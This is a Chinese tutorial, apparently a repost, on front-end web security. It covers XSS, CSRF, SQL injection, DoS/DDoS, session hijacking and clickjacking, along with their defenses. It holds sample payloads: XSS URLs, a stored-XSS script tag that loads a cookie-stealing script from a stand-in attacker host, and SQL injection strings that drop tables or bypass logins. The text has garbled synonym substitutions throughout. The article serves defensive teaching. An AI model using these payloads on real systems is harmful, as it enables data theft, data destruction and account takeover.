Web前端安全题目分类综合以及XSS、CSRF、SQL注入、DoS/DDoS攻击、会话劫持
https://img-blog.csdnimg.cn/img_convert/7d33b8cb2c1f823f73fb202b2a496979.png#pic_center前端安全题目是指发生在欣赏器、单页面应用、Web页面等前端环境中的各类安全隐患。Web前端作为与用户直接交互的界面，其安全性题目直接关系到用户体验和数据安全。近年来，随着前端技术的快速发展，Web前端安全题目也日益凸显。因此，加强生产安全意识，深入理解并防范前端安全题目，对于保障整个Web应用的安全性至关紧张。
前端安全题目涉及到多种潜伏威胁，这些题目可能导致用户信息泄漏、会话劫持、网站功能异常等严重结果，针对这些题目，开发者需要采取一系列技术和策略来保障用户数据安全、防止恶意攻击并维护用户隐私。开发者要时刻抱有安全意识，了解和掌握前端安全题目，采取有效的防范措施至关紧张，对平台和用户负责。
一、前端安全题目分类
1、跨站脚本攻击（XSS, Cross-Site Scripting）
[*]攻击者通过在网页中注入恶意脚本（如JavaScript），当用户欣赏该页面时，脚本被执行，可能导致窃取用户敏感信息、操控用户欣赏器行为（如重定向到恶意网站）、甚至控制用户账户。
[*]分类包括：存储型XSS（恶意脚本存储在服务器，如在批评区发表含有恶意脚本的留言）、反射型XSS（恶意脚本通过URL通报，攻击者诱使用户点击带有恶意链接的邮件或消息）和DOM-based XSS（基于文档对象模子的XSS，恶意脚本直接在客户端被动态生成和执行）。
2、不安全的通信
用户与服务器之间的数据互换未加密，容易被中间人窃听、篡改或伪造。
如：敏感数据泄漏（非加密协议http），跨站哀求伪造（CSRF, Cross-Site Request Forgery），会话劫持（Session Hijacking），中间人攻击（Man-in-the-Middle, MITM）等。
[*] 跨站哀求伪造（CSRF, Cross-Site Request Forgery）
[*]攻击者利用用户已登录的Web应用程序会话，通过伪装成用户发送的哀求来执行非用户意愿的操纵。例如，通过恶意链接诱使用户点击，导致其账户进行转账、修改暗码等操纵。
[*]防御措施通常包括使用CSRF Tokens、查抄Referer/Origin头、实施双重验证等。
[*] 会话劫持（Session Hijacking）
[*]攻击者获取并利用用户的会话标识（如Session ID）来冒充合法用户，直接接受其在线会话，无需知道用户的暗码即可进行操纵。
[*] 中间人攻击（Man-in-the-Middle, MITM）
[*]攻击者通过拦截并篡改网络通信，扮演通信双方之间的中介角色，窃取敏感信息或操纵数据互换。常见于未加密或弱加密的网络毗连中。
3、输入验证不足
未能充分验证用户输入，可能导致注入攻击（SQL注入）、目录遍历等攻击。
[*] SQL注入（SQLi）
[*]攻击者通过在Web应用程序的输入字段中插入恶意SQL代码，利用应用程序未充分过滤用户输入的弊端，操纵后端数据库查询，获取、修改、删除敏感数据，甚至取得数据库的完全控制权。
[*] 注入攻击（广义）
[*]包括但不限于SQL注入，还包括命令注入（通过输入恶意命令影响服务器操纵体系）、NoSQL注入（针对非关系型数据库的类似攻击）、LDAP注入（针对轻量级目录访问协议的注入）等。
[*] 路径遍历（Path Traversal）
[*]攻击者通过在文件哀求中使用特别字符（如“…/”）尝试访问服务器文件体系中超出预期范围的文件或目录，可能导致敏感文件泄漏或执行未经授权的操纵。
应对技术：
[*]服务器端验证：尽管前端应进行初步验证，但服务器端必须进行严格的输入验证，确保数据格式、长度、内容符合预期。
[*]使用安全的API与库：对于数据库操纵，使用参数化查询或ORM工具，防止SQL注入。
4、服务攻击
服务攻击是指对网络服务、信息体系或特定服务功能进行的恶意攻击。这类攻击通常旨在中断、降级、破坏服务的正常运行，大概非法获取、滥用服务提供的数据和资源。包括拒绝服务攻击、API攻击、服务滥用等。
[*] 拒绝服务攻击（DoS/DDoS）
[*]DoS（Denial of Service）：攻击者通过发送大量合法或异常哀求，耗尽服务器资源，导致服务无法响应正常哀求。
[*]DDoS（Distributed Denial of Service）：分布式拒绝服务攻击，即攻击者利用多台呆板同时发起攻击，加大攻击规模，更难防御。
[*] API攻击：
[*]目的：利用API接口的弊端或设计缺陷，影响服务功能或数据安全。
[*]本事：未经授权访问、参数篡改、速率限定绕过、资源遍历等。
[*]示例：攻击者发现某个API接口存在速率限定弊端，通过快速连续哀求，短时间内大量获取或修改用户数据。
[*] 服务滥用（Service Abuse）：
[*]目的：超出服务条款或政策范围，不公道或非法使用服务，斲丧资源或侵害其他用户利益。
[*]本事：批量注册虚伪账号、发送垃圾邮件、进行爬虫抓取等。
[*]示例：攻击者利用主动化工具批量注册免费云服务账户，斲丧服务商的盘算资源，造成资本损失。
5、弊端攻击
弊端攻击是指利用软件、硬件、网络协议、体系设置等方面的弊端，对目标体系进行非法入侵、数据窃取、体系破坏等活动。弊端攻击是网络安全领域的一大威胁，攻击者通过发现、利用这些弊端，绕过正常的安全防护机制，对目标体系进行未经授权的操纵。包括软件弊端、硬件弊端、网络协议弊端、体系设置弊端。
应用层主要包含模糊测试（Fuzzing）、零日攻击（Zero-Day Attack）等。
模糊测试（Fuzzing）
[*]攻击者或安全研究职员通过向应用程序发送大量随机或特定构造的数据，试图触发未预见的异常行为、崩溃或显现安全弊端。
零日攻击（Zero-Day Attack）
[*]利用软件中未知且尚未修复的安全弊端进行攻击。这类弊端通常是软件供应商尚未发现或还未发布补丁的，因此防御难度较大。
6、不安全的Cookie管理
题目：
Cookie设置不当，可能导致会话劫持、信息泄漏等风险。
应对技术：
[*]HTTPOnly：设置Cookie的HTTPOnly属性，防止恶意脚本通过document.cookie API访问和修改Cookie内容。
[*]Secure：确保敏感Cookie只在HTTPS毗连上发送，防止明文传输。
[*]SameSite：联合SameSite属性限定Cookie在跨站哀求中的发送行为。
7、不安全的本地存储
题目：
敏感数据被明文存储在localStorage、IndexedDB等前端存储机制中，易遭窃取。
应对技术：
[*]加密存储：对存放在前端本地存储中的敏感数据进行加密，即使数据被盗取，也无法直接解读。
[*]最小化存储：遵循“最小权限”原则，仅存储须要的数据，避免长时间保留敏感信息。
8、不安全的第三方组件与库
题目：
使用存在已知安全弊端的第三方组件或库，可能引入风险。
应对技术：
[*]及时更新：定期查抄并更新前端依靠库至最新稳固版本，修复已知安全题目。
[*]依靠管理与审查：使用依靠管理工具，确保所有依靠清晰、版本可控，并定期进行安全审计。
主要常见的安全题目具体介绍如下：
二、跨站脚本攻击（XSS）
1、题目：
攻击者通过在网页中注入恶意脚本，利用用户欣赏器执行这些脚本来盗取用户数据、篡改页面内容或进行其他恶意操纵。
2、XSS分类
根据攻击方式和注入点的不同，XSS攻击主要分为以下三类：
2.1、反射型XSS (Reflected XSS, RXSS)
原理：
攻击者构造含有恶意脚本的URL，然后通过电子邮件、即时消息、论坛帖子等方式诱导用户点击。当用户点击该链接时，恶意脚本作为哀求参数被发送到服务器，服务器未经得当过滤直接将该脚本返回到响应页面中，用户欣赏器在解析响应时执行了恶意脚本。
例子：
攻击者构建了一个包含恶意JavaScript的URL，如 http://example.com/search?q=<script>alert('XSS Attack');</script>，并将此链接发送给受害者。受害者点击后，服务器接收哀求并在搜索结果页面回显查询参数，导致恶意脚本被执行，表现弹窗提示“XSS Attack”。
2.2、存储型XSS (Stored XSS)
原理：
攻击者将恶意脚本提交到目标网站的可持久化存储区域（如数据库、论坛帖子、用户批评、个人资料等）。当其他用户访问包含这些数据的页面时，欣赏器会执行嵌入此中的恶意脚本。
例子：
攻击者在某社交网站的批评区留言，内容包含恶意脚本，如 <script src="https://malicious.example.com/steal_cookies.js"></script>。当其他用户查看该批评时，欣赏器加载并执行了嵌入的外部脚本，该脚本从受害者的欣赏器中窃取Cookie信息并发送到攻击者控制的服务器。
2.3、基于DOM的XSS (DOM-based XSS)
原理：
攻击者利用前端JavaScript代码中的弊端，通过修改或操控网页的DOM（Document Object Model）布局，直接在客户端执行恶意脚本，无需服务器到场。这种攻击通常源于客户端代码对不可信数据的不当处理。
例子：
一个网页有一个URL参数message用于动态更新页面内的消息提示。攻击者构造URL http://example.com/?message=<script>alert('XSS Attack');</script>，当用户访问此链接时，前端JavaScript代码直接将message参数插入到DOM中，导致恶意脚本被执行。
3、XSS的危害
[*]数据盗窃：攻击者可以通过恶意脚本窃取用户的Cookie、Session信息，实现会话劫持，冒充用户进行操纵。
[*]账户接受：获取用户凭据后，攻击者可以登录受害者的账户，进行非法操纵，如修改暗码、删除内容、发送敲诈信息等。
[*]网页篡改：攻击者可以修改网页内容，植入虚伪信息、恶意广告或重定向链接，进行垂纶攻击。
[*]欣赏器利用：攻击者可以利用欣赏器发起DDoS攻击、扫描内网、利用欣赏器插件弊端等。
[*]恶意软件传播：通过XSS攻击，攻击者可以在用户欣赏器中执行代码，下载并安装恶意软件。
4、XSS防御技术
4.1、输入验证与转义
对所有用户提交的数据进行严格验证，确保其符合预期格式和内容。对于要输出到HTML、CSS或JavaScript上下文的数据，使用相应的转义函数（如HTML实体编码、CSS转义、JavaScript字符串转义）进行转义，防止特别字符被解析为恶意代码。
4.2、Content Security Policy (CSP)
通过HTTP响应头设置Content-Security-Policy，限定欣赏器加载和执行脚本、样式、图片等资源的来源。可以白名单方式指定可信的源，制止非授权脚本执行。
4.3、HTTPOnly Cookies
为防止恶意脚本通过document.cookie访问Cookie，为敏感Cookie设置HTTPOnly标志。这样，即使存在XSS弊端，攻击者也无法通过JavaScript获取到这些Cookie。
4.4、X-XSS-Protection
固然当代欣赏器徐徐弃用此头，但在某些情况下仍可启用欣赏器内置的XSS过滤器，通过设置X-XSS-Protection: 1; mode=block指示欣赏器检测并制止潜伏的XSS攻击。
4.5、安全编码与框架使用
遵循安全编码最佳实践，使用支持主动转义或内置XSS防护功能的Web框架，减少手动处理数据时堕落的可能性。
综上所述，跨站脚本攻击（XSS）是通过注入恶意脚本利用用户欣赏器进行攻击的安全弊端。它有多种表现形式，能造成多种危害。防范XSS攻击需要综合运用多种防御技术，包括但不限于输入验证、输出转义、CSP、HTTPOnly Cookies等，从源头、传输、欣赏器执行等多个层面阻断攻击链路。
三、跨站哀求伪造（CSRF）
1、题目：
攻击者伪造用户对受信托网站的哀求，诱导用户在已登录状态下偶然中触发该哀求，实现冒充用户进行操纵。
2、CSRF攻击原理
关键要素：
[*]用户已登录：攻击目标是在用户已经登录且具有有效会话的Web应用程序上。
[*]欣赏器信托：欣赏器会主动携带用户当前会话的认证信息（如Cookie、Authorization头）发送到目标网站，这是正常操纵的一部分，也是CSRF攻击得以实施的基础。
[*]恶意哀求伪装：攻击者通过各种本事（如嵌入在网页、邮件、短信中的恶意链接、表单、图像等）诱导用户欣赏器发起一个对目标网站的哀求，该哀求的内容和意图由攻击者设定，但看起来像是用户主动发起的。
3、CSRF攻击流程
[*]用户A登录受信托的网站，欣赏器收到一个包含认证信息（如Session ID）的Cookie。
[*]攻击者B构造一个针对该网站的恶意哀求，例如一个转账操纵的POST哀求，哀求中包含目标账户和转账金额。
[*]攻击者通过电子邮件、论坛帖子、社交媒体等途径，将包含恶意哀求的链接（或嵌入恶意哀求的HTML表单）发送给用户A。
[*]用户A在不知情的情况下点击了恶意链接，欣赏器根据链接中的action属性向目标网站发送POST哀求。由于欣赏器会主动附带上登录时得到的Cookie，服务器误以为这是用户A的合法操纵，执行了转账。
[*]攻击成功，用户A的账户资金被转移到攻击者指定的账户，而用户A对此毫不知情。
4、CSRF危害
CSRF攻击可以导致各种结果，包括但不限于：
[*]账户资金转移：如上述转账示例。
[*]敏感信息修改：如修改用户暗码、邮箱、接洽方式等个人信息。
[*]状态更改：如开关设备、更改体系设置、删除内容等。
[*]恶意操纵：如发布不实信息、购买商品、发送垃圾邮件等。
5、CSRF防御技术
5.1、CSRF Token
为每一个需要掩护的哀求生成一个一次性、不可预测的随机值（CSRF Token），服务器在响应中将其发送给客户端，客户端在随后的哀求中必须携带此Token。服务器在处理哀求时验证Token的有效性，确保哀求确实源自用户主动操纵。
例子：
用户访问转账页面时，服务器生成一个CSRF Token并将其存储在服务器端（如关联到用户会话）和客户端（如隐藏表单字段或Cookie）。当用户提交转账哀求时，欣赏器同时发送这个Token。服务器在处理转账哀求时，不仅验证用户身份，还验证提交的Token与服务器端存储的Token是否匹配，如果匹配则执行转账操纵，否则拒绝哀求。
5.2、双重验证
对于敏感操纵，除了通例的身份验证外，增加第二重验证，如短信验证码、二次确认弹窗、电子邮件确认等。
5.3、SameSite Cookie属性
设置Cookie的SameSite属性为Lax或Strict，限定欣赏器在跨站哀求中发送相干Cookie，除非哀求符合特定条件（如导航至同一顶级域名）。这可以防止攻击者通过第三方网站发起的哀求携带用户在目标网站的会话Cookie。
5.4、查抄Referer或Origin头
固然不是最可靠的防御本事，但在某些场景下可以通过查抄HTTP哀求的Referer或Origin头来判断哀求是否来自预期的源。如果哀求的来源与预期不符，可能为CSRF攻击，服务器可以拒绝处理。
综上所述，跨站哀求伪造（CSRF）是一种利用用户已登录身份和欣赏器信托机制，通过伪装成用户发起的哀求来执行恶意操纵的安全威胁。防范CSRF攻击主要依靠CSRF Token、双重验证、SameSite Cookie属性设置以及（有条件地）查抄Referer/Origin头等技术本事，确保只有用户真实意图的哀求才华被服务器正确处理。
四、SQL注入
1、题目：
SQL注入（SQL Injection）是一种针对数据库驱动的应用程序的常见安全弊端，攻击者通过向应用程序提交精心构造的输入数据（通常是在网页表单、URL参数或其他用户可控制的数据源中），使得原本正常的SQL查询语句被恶意修改或扩展，从而到达非授权访问、修改、删除数据库数据，甚至获取数据库体系的控制权的目的。这种攻击利用了应用程序对用户提供的数据未经充分验证或清理，直接将其拼接到SQL查询语句中的缺点。
2、SQL注入的原理
当一个Web应用程序接收用户输入并将其嵌入到动态构造的SQL查询中时，如果未对用户输入进行有效验证和转义，攻击者就可以通过输入恶意SQL代码来干扰查询逻辑。攻击者通常会利用以下两种方式来注入SQL：
2.1、语法破坏
通过注入特定字符（如分号 ;、单引号 '、双引号 "、注释符 -- 或 /* ... */ 等）来终止原有查询语句，接着注入新的恶意查询命令。例如，将一个简单的查询：
SELECT * FROM users WHERE username = 'admin'
改变为：
SELECT * FROM users WHERE username = 'admin'
; DROP TABLE users; -- ' 这样，攻击者不仅获取了用户名为“admin”的用户信息，还附加了一个删除users表的命令。
2.2、 逻辑诱骗
攻击者不破坏原有查询的语法，而是通过注入特定条件或函数来改变查询逻辑，以绕过认证、权限查抄或获取额外数据。例如，将一个暗码验证查询：
SELECT * FROM users WHERE username = 'user' AND password = 'password'
改变为：
SELECT * FROM users WHERE username = 'user' AND password = '' OR '1'='1'
这样，攻击者即使不知道正确暗码，也能通过逻辑诱骗绕过验证，因为'1'='1'始终为真，导致查询返回所有用户的信息。
3、SQL注入实例
以下是一些具体的SQL注入示例：
3.1、登录表单注入
假设一个登录界面的查询语句如下：
SELECT * FROM users WHERE username = '$username' AND password = '$password'
如果应用程序直接将用户输入的$username和$password变量拼接到查询中，攻击者可以输入如下内容：
username=admin' --
password=''
结果生成的SQL语句变为：
SELECT * FROM users WHERE username = 'admin'
-- ' AND password = '' 注释符--后面的文本被当作注释忽略，实际执行的查询仅验证用户名为“admin”，从而绕过暗码验证。
3.2、搜索功能注入
在一个产品搜索功能中，假设查询语句如下：
SELECT * FROM products WHERE product_name LIKE '%$search_term%'
如果攻击者输入：
search_term=' OR 1=1; --
生成的SQL语句变为：
SELECT * FROM products WHERE product_name LIKE '% OR 1=1; --%''
这将导致所有产品都被匹配并表现，因为OR 1=1总是为真，且注释符将之后的语句结束，避免了语法错误。
4、SQL注入防御技术
防止SQL注入的关键在于确保用户输入的数据不会未经处理就被拼接到SQL查询中。以下是一些有效的防护措施：
4.1、使用参数化查询或预编译语句：
应用程序应使用参数化查询或预编译语句（如PDO的预处理语句、JDBC的PreparedStatement等），将用户输入作为参数传入，而不是直接拼接在SQL语句中。这样，数据库体系会明确区分代码和数据，即使输入包含特别字符，也不会被解释为SQL命令。
4.2、输入验证和过滤：
对用户输入进行严格的格式查抄和净化，去除或转义可能引起注入的特别字符。但请注意，仅依靠输入验证并不富足，应联合其他方法使用。
4.3、最小权限原则：
应用程序毗连数据库的账号应仅具有完成其任务所需的最低权限，避免即使发生注入攻击，攻击者也难以进行大规模数据操纵或体系管理。
4.4、使用ORM（对象关系映射）或安全的查询构建器：
ORM框架和安全的查询构建器通常内置了防止SQL注入的机制，通过它们构造查询可以减少直接拼接SQL的风险。
4.5、定期安全审计与代码审查：
定期对应用程序进行安全审计，查抄是否存在SQL注入弊端，并对新旧代码进行严格的安全审查。
通过上述措施的综合应用，可以显著低落SQL注入的风险，掩护Web应用程序及此中的数据免受此类攻击的危害。
五、拒绝服务攻击（DoS/DDoS）
1、题目
拒绝服务（Denial of Service, DoS）攻击是一种网络攻击本事，其目的是使目标体系（如网站、服务器、网络设备或服务）无法正常提供预期的服务给合法用户。攻击者通过各种方式斲丧目标体系的资源（如网络带宽、处理器本事、内存、磁盘空间等），大概使其关键组件（如数据库、应用程序接口等）陷入异常状态，导致服务中断、响应速率极慢或完全不可用。
2、DoS攻击分类
根据攻击方式和规模，拒绝服务攻击可以分为以下几种范例：
2.1、单一源（Single Source）DoS攻击：
这是最基础的DoS攻击形式，由一个攻击者或一台攻击设备发起。攻击者可能利用高带宽发送大量数据包，大概利用特定协议弊端、体系弊端发送精心设计的小流量数据包，以斲丧目标体系的资源。
2.2、分布式拒绝服务（Distributed Denial of Service, DDoS）攻击：
DDoS攻击是DoS攻击的升级版，攻击者通过控制一个巨大的僵尸网络（Botnet），由成千上万台受感染的设备（如个人电脑、物联网设备等）同时向目标发起攻击。由于攻击流量来源分散且数目巨大，使得辨认和制止攻击更加困难。
3、DoS/DDoS攻击手法举例
以下是几种常见的DoS/DDoS攻击手法：
3.1、带宽斲丧型攻击：
[*]UDP Flood：攻击者发送大量无毗连的UDP（User Datagram Protocol）数据包到目标，由于UDP无需创建毗连，服务器在接收到这些无效哀求后会尝试回应，从而斲丧带宽。
[*]ICMP Flood（Ping Flood）：利用大量ICMP（Internet Control Message Protocol）Echo Request（ping）包沉没目标，同样造成带宽饱和。
3.2、 协议层攻击：
[*]SYN Flood：攻击者发送大量伪造源IP地址的SYN（同步序列编号）哀求，目标服务器在接收到SYN包后会分配资源并发送SYN+ACK回应，但由于源IP是伪造的，服务器无法收到确认回应，导致半开毗连堆积，斲丧体系资源，特别是TCP毗连队列和内存。
[*]Smurf Attack：攻击者发送带有受害主机IP地址作为源地址的ICMP Echo Request到广播地址，导致网络中的所有主机回应受害者，形成流量洪峰。
3.3、应用层攻击：
[*]HTTP Flood（GET/POST Flood）：攻击者发送大量看似合法的HTTP哀求，如GET或POST哀求，这些哀求可能针对同一页面、资源或API接口，导致Web服务器资源耗尽。
[*]Slowloris Attack：通过维持大量半开的HTTP毗连，连续发送小片断的HTTP头信息但不完成哀求，占用Web服务器的毗连资源，制止其他用户创建有效毗连。
3.4、资源斲丧型攻击：
[*]Zero-Day Exploit：利用尚未公开或未修复的体系弊端，直接攻击操纵体系或应用程序，可能导致体系崩溃或严重性能降落。
[*]放大攻击（Amplification Attack）：利用某些协议（如DNS、NTP、CLDAP等）的放大效应，发送小体积哀求却诱使第三方服务器发送大要积响应至目标，显著放大攻击流量。
4、DoS/DDoS攻击防御技术
针对DoS/DDoS攻击，可以采取以下几种防范策略：
4.1、流量监控与洗濯：
使用防火墙、入侵检测体系（IDS）、入侵防御体系（IPS）或专用的DDoS防护设备，实时监控网络流量，辨认并过滤异常流量。对于DDoS攻击，还可以采用云服务商提供的DDoS防护服务，通过云洗濯中心吸取、分析并扬弃恶意流量。
4.2、带宽扩容与限速：
提前规划富足的网络带宽以应对突发流量，同时设置公道的带宽限定和速率限定策略，防止单个IP或用户短时间内斲丧过多资源。
4.3、访问控制与黑名单：
实施严格的访问控制策略，如IP白名单、地理定位限定等，对可疑或已知攻击源实施封锁。
4.4、应用加固与优化：
对Web服务器、应用程序进行优化，限定并发毗连数、设置超时阈值、启用HTTP状态码过滤等，低落资源斲丧和易受攻击面。
4.5、及时更新与打补丁：
及时更新操纵体系、中间件、应用程序及其依靠库，修补已知安全弊端，减少被攻击的可能性。
4.6、应急响应与恢复筹划：
制定具体的应急响应预案，包括与ISP、云服务商、安全厂商等的协调机制，以及服务降级、数据备份与恢复等措施，确保在遭受攻击时能快速响应并尽可能减少业务影响。
通过综合运用上述多种防护本事，可以显著提升体系抵抗DoS/DDoS攻击的本事，保障服务的稳固性和可用性。
六、会话劫持（Session Hijacking）
1、题目
会话劫持是一种针对Web应用程序的攻击本事，攻击者通过非法本事获取并使用用户的会话标识（如Session ID、Token等），从而冒充合法用户与服务器进行交互。这种攻击的核心目标是窃取或预测有效的会话标识，并利用它来伪装成目标用户，访问受掩护的资源或执行未经授权的操纵。
2、攻击流程
2.1、信息网络：
攻击者起首通过各种途径（如公开信息、社会工程学等）了解目标体系的会话管理机制，包括会话ID的生成规则、传输方式、存储位置等。
2.2、会话标识获取：
[*]嗅探（Sniffing）：攻击者通过网络嗅探工具监听未加密的网络通信，捕捉包含会话ID的HTTP哀求，如在未使用HTTPS的环境中。
[*]跨站脚本攻击（XSS）：攻击者利用网站存在的XSS弊端，注入恶意脚本，当受害者访问被污染的页面时，脚本被执行，将受害者的会话ID发送给攻击者。
[*]中间人攻击（MITM）：攻击者通过ARP诱骗、DNS劫持等本事成为用户与服务器通信的中间人，拦截并篡改数据包，获取会话ID。
[*]社会工程学：诱骗用户点击含有恶意代码的链接或附件，直接窃取或诱导用户主动提供会话ID。
2.3、会话冒用：
获取到会话ID后，攻击者将其用于自己的欣赏器或其他工具中，向服务器发起带有该会话ID的哀求。由于服务器仅凭会话ID辨认用户身份，因此攻击者能够以受害者的身份进行操纵，如查看私密信息、修改账户设置、进行生意业务等。
3、具体举例
3.1、场景一：网络嗅探
假设用户A正在一家未启用HTTPS的电子商务网站购物，其会话ID通过HTTP明文传输。攻击者B在同一网络环境中（如公共Wi-Fi）使用嗅探工具捕捉到A的网络流量，从中提取出会话ID。
步骤：
[*]A通过HTTP毗连登录电商网站，服务器响应时在Cookie中设置会话ID。
[*]B使用嗅探工具监听网络流量，抓取到包含会话ID的HTTP哀求。
[*]B将获取的会话ID复制到自己欣赏器的Cookie中，访问同一电商网站。
[*]由于服务器辨认到有效的会话ID，认为是用户A登录，答应B查看和操纵A的账户信息，如查看订单、更改收货地址、甚至进行付出操纵。
3.3、场景二：跨站脚本攻击
攻击者C发现某论坛存在XSS弊端，可以注入恶意脚本。用户D在论坛发帖或回复时触发了该脚本。
步骤：
[*]C在论坛发布一条带有XSS攻击代码的帖子，该代码在用户欣赏器中执行时，将用户的会话ID发送至C控制的服务器。
[*]D欣赏论坛时，欣赏器执行了嵌入在帖子中的恶意脚本，将其会话ID发送给了C。
[*]C收到D的会话ID后，使用该ID登录论坛，以D的身份发布消息、删除帖子或进行其他操纵。
4、防御措施
4.1、加密通信：
强制使用HTTPS，确保会话ID在传输过程中加密，防止嗅探。
4.2、随机生成强Session ID：
使用富足长度和复杂度的随机数生成Session ID，避免预测和重用。
4.3、HTTP-only Cookie：
设置Session ID对应的Cookie为HTTP-only，防止通过JavaScript访问，低落XSS攻击导致会话劫持的风险。
4.4、Session过期与续期策略：
设置公道的会话有效期和超机会制，对长时间无活动的会话主动注销。同时，考虑使用会话续期技术（如心跳机制）保持活跃会话的有效性，但需防止过分延伸会话生命周期。
4.5、IP绑定或用户行为监测：
有条件地对Session ID与用户IP地址进行绑定，或通过呆板学习算法监测用户行为模式，对异常行为（如短时间内异地登录）进行警告或制止。
4.6、二次验证：
对于敏感操纵（如资金转账、暗码修改等），要求用户提供额外的身份验证信息，如短信验证码、双因素认证等。
4.7、CSRF防护：
固然与会话劫持不同，但CSRF攻击也可能利用已劫持的会话，因此实施CSRF防御（如使用CSRF Token）有助于加强团体安全性。
通过以上措施的综合运用，可以显著低落会话劫持的风险，掩护用户会话的安全性。同时，定期进行安全审计和弊端扫描，及时修复潜伏的安全题目，也是防范会话劫持的紧张本事。
七、点击劫持（Clickjacking）
1、题目
点击劫持是一种网络攻击本事，攻击者通过在网页中嵌入透明或不可见的iframe，覆盖在受信托的网站之上，诱使用户在不知情的情况下点击iframe内的恶意链接或按钮，执行攻击者预设的操纵。这种攻击利用了视觉诱骗和用户对目标网站的信托，使得攻击者能够劫持用户的点击行为，到达窃取数据、操纵账户、传播恶意软件等目的。
2、点击劫持原理
[*] iframe嵌套：攻击者创建一个网页，此中包含一个或多个指向目标网站的iframe，这些iframe通常被设置为透明或与背景致相融合，使得用户在视觉上无法察觉。
[*] 页面布局：攻击者精心设计页面布局，将恶意iframe覆盖在目标网站的关键操纵区域（如登录按钮、转账按钮、链接等），确保用户在试图与目标网站交互时实际上点击了iframe内的元素。
[*] 用户诱导：攻击者通过各种本事（如垂纶邮件、社交 engineering、恶意广告等）诱导用户访问其制作的嵌套了恶意iframe的网页。
3、点击劫持示例
场景一：银行转账
[*]攻击步骤：
[*]攻击者创建一个网页，此中嵌入一个透明iframe，指向受害者的网上银行登录页面。
[*]iframe的位置经过正确调解，使得登录按钮上方恰好覆盖了一个看不见的“转账”按钮。
[*]攻击者通过垂纶邮件诱使受害者访问该网页，并登录其网上银行账户。
[*]受害者在登录后尝试点击“转账”按钮，但实际上点击的是iframe内的恶意“转账”按钮，触发了转账操纵。
场景二：社交平台点赞
[*]攻击步骤：
[*]攻击者在自己的网页上嵌入一个指向社交平台的iframe，此中包含一个特定的帖子。
[*]iframe被设计为与背景颜色一致，且覆盖在受害者的新闻阅读页面的一个热点区域，如“下一页”按钮。
[*]当受害者欣赏新闻并点击“下一页”时，实际上点击了iframe内的帖子的“赞”按钮，为攻击者指定的帖子增加了点赞数。
4、点击劫持防御技术
4.1、X-Frame-Options：
服务器通过设置X-Frame-Options响应头，限定页面是否可以被嵌入iframe。可设置为DENY（克制任何网站嵌套）、SAMEORIGIN（仅答应同源页面嵌套）。
4.2、Content Security Policy (CSP)：
使用CSP的frame-ancestors指令，指定答应嵌套当前页面的源列表，制止非授权的iframe嵌套。
4.3、用户交互防护：
对于关键操纵，如转账、修改暗码等，可以使用额外的安全措施，如二次确认、验证码、指纹滑动验证等，增加攻击难度。
4.4、教育用户：
提示用户警惕不明来源的链接，避免在非官方网站进行敏感操纵，并建议使用安全欣赏器插件（如NoScript、Privacy Badger等）制止潜伏的点击劫持攻击。
综上所述，点击劫持是一种利用视觉诱骗和iframe嵌套技术，劫持用户点击行为的网络攻击。防范点击劫持需要联合服务器端设置、前端防护策略以及用户教育等多方面措施，确保用户交互的安全性。
通过以上枚举的前端安全题目及其应对技术详解与举例，可以看出前端安全防护是一个多维度、全方位的过程，需要开发者在设计和实现Web应用时充分考虑并落实各项安全措施，以有效抵抗各类攻击，掩护用户数据安全。
https://img-blog.csdnimg.cn/img_convert/4635d94e998f77abfe2be3e3747536ec.jpeg#pic_center
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。
页:
[1]